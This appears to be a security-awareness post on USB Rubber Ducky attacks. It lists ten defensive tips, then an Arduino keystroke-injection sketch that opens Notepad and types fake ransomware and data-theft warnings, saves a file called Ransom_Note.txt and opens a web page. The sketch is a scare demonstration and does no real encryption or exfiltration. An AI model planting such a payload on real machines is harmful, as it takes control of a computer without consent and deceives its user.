USB RUBBER DUCKY ATTACK

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Here are ten tips to help avoid USB Rubber Ducky attacks and similar threats 

• Be cautious with unknown USB devices: Avoid plugging in USB devices from unknown or untrusted sources, especially if they are left unattended or found in public places.

• Use USB data blockers (USB condoms): Consider using USB data blockers when charging devices from public USB charging stations. These devices prevent data transfer while allowing charging, reducing the risk of malware infection.

• Employ physical security measures: Implement physical security measures to prevent unauthorized access to USB ports on computers and other devices, such as locking mechanisms or port covers.

• Educate employees and users: Provide cybersecurity awareness training to employees and users, emphasizing the risks associated with USB devices and the importance of vigilance when handling them.

• Disable auto-run features: Disable auto-run features on computers to prevent automatic execution of programs or scripts when USB devices are connected. This reduces the likelihood of malware infection from USB drives.

• Use endpoint protection software: Install and regularly update endpoint protection software (antivirus/antimalware) on all devices to detect and block malicious activity, including USB-based attacks.

• Implement device control policies: Implement device control policies to restrict the use of USB devices on corporate networks. This can help prevent unauthorized USB devices from being connected to company computers.

• Monitor USB device activity: Implement monitoring solutions to track USB device activity on corporate networks. This allows IT administrators to identify and investigate suspicious behavior associated with USB devices.

• Physically inspect USB devices: Encourage users to visually inspect USB devices for signs of tampering before connecting them to their computers. This includes checking for unusual appearance, labels, or packaging.

• Use encrypted USB drives: Consider using encrypted USB drives to store sensitive data. Encrypted drives provide an additional layer of protection against unauthorized access in case the device is lost or stolen.

By following these tips, individuals and organizations can reduce the risk of falling victim to USB Rubber Ducky attacks and similar threats that exploit USB vulnerabilities.

HERE IS THE CODE

#include <Keyboard.h>

void setup() {

  // Initialize the USB keyboard

  Keyboard.begin();

  delay(2000); // Delay to allow time for the system to recognize the keyboard

  // Open Notepad

  Keyboard.print("Opening Notepad to start the attack..."); // Print message

  delay(1000);

  Keyboard.press(KEY_LEFT_GUI); // Press the Windows key

  Keyboard.press('r'); // Press 'r' key to open the Run dialog

  Keyboard.releaseAll(); // Release all keys

  delay(1000); // Delay to wait for the Run dialog to open

  Keyboard.print("notepad"); // Type 'notepad' into the Run dialog

  Keyboard.press(KEY_RETURN); // Press Enter to open Notepad

  Keyboard.releaseAll(); // Release all keys

  delay(1000); // Delay to wait for Notepad to open

  // Type "Hello, world!" into Notepad

  Keyboard.print("Your files are being encrypted..."); // Print frightening message

  delay(1000);

  // Save the file on the desktop

  Keyboard.print("Saving encrypted file to your desktop..."); // Print message

  delay(1000);

  Keyboard.press(KEY_LEFT_CTRL); // Press Ctrl

  Keyboard.press('s'); // Press 's' key to save the file

  Keyboard.releaseAll(); // Release all keys

  delay(1000); // Delay to wait for Save dialog to open

  Keyboard.print("C:\\Users\\%username%\\Documents\\Ransom_Note.txt"); // Type the path to the OneDrive Documents folder

  Keyboard.press(KEY_RETURN); // Press Enter to save the file

  Keyboard.releaseAll(); // Release all keys

  delay(3000); // Delay to wait for file to be saved

  // Open web browser and navigate to https://www.fessleritconsulting.com/hiddenhackerpage

  Keyboard.press(KEY_LEFT_GUI); // Press the Windows key

  Keyboard.press('r'); // Press 'r' key to open the Run dialog

  Keyboard.releaseAll(); // Release all keys

  delay(3000); // Delay to wait for the Run dialog to open

  Keyboard.print("https://www.fessleritconsulting.com/hiddenhackerpage"); // Type the URL into the Run dialog

  Keyboard.press(KEY_RETURN); // Press Enter to open the web browser

  Keyboard.releaseAll(); // Release all keys

  delay(5000); // Delay to allow time for browser to open

  // Open web browser and navigate to google.com

  Keyboard.print("Your personal data is being uploaded to the dark web..."); // Print frightening message

  delay(1000);

  Keyboard.press(KEY_LEFT_GUI); // Press the Windows key

  Keyboard.press('r'); // Press 'r' key to open the Run dialog

  Keyboard.releaseAll(); // Release all keys

  delay(1000); // Delay to wait for the Run dialog to open

  Keyboard.print("https://www.google.com"); // Type the URL into the Run dialog

  Keyboard.press(KEY_RETURN); // Press Enter to open the web browser

  Keyboard.releaseAll(); // Release all keys

  delay(2000); // Delay to allow time for browser to open

  Keyboard.print("Your computer is being remotely controlled..."); // Print frightening message

}

void loop() {

  // Nothing to do in the loop

}

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